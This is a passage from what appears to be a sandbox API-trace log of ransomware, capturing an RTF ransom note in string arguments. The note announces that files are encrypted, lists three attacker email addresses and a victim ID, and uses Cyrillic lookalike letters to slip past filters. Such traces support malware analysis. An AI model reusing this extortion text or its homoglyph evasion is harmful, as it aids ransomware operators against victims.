il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14086 [0039.708] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 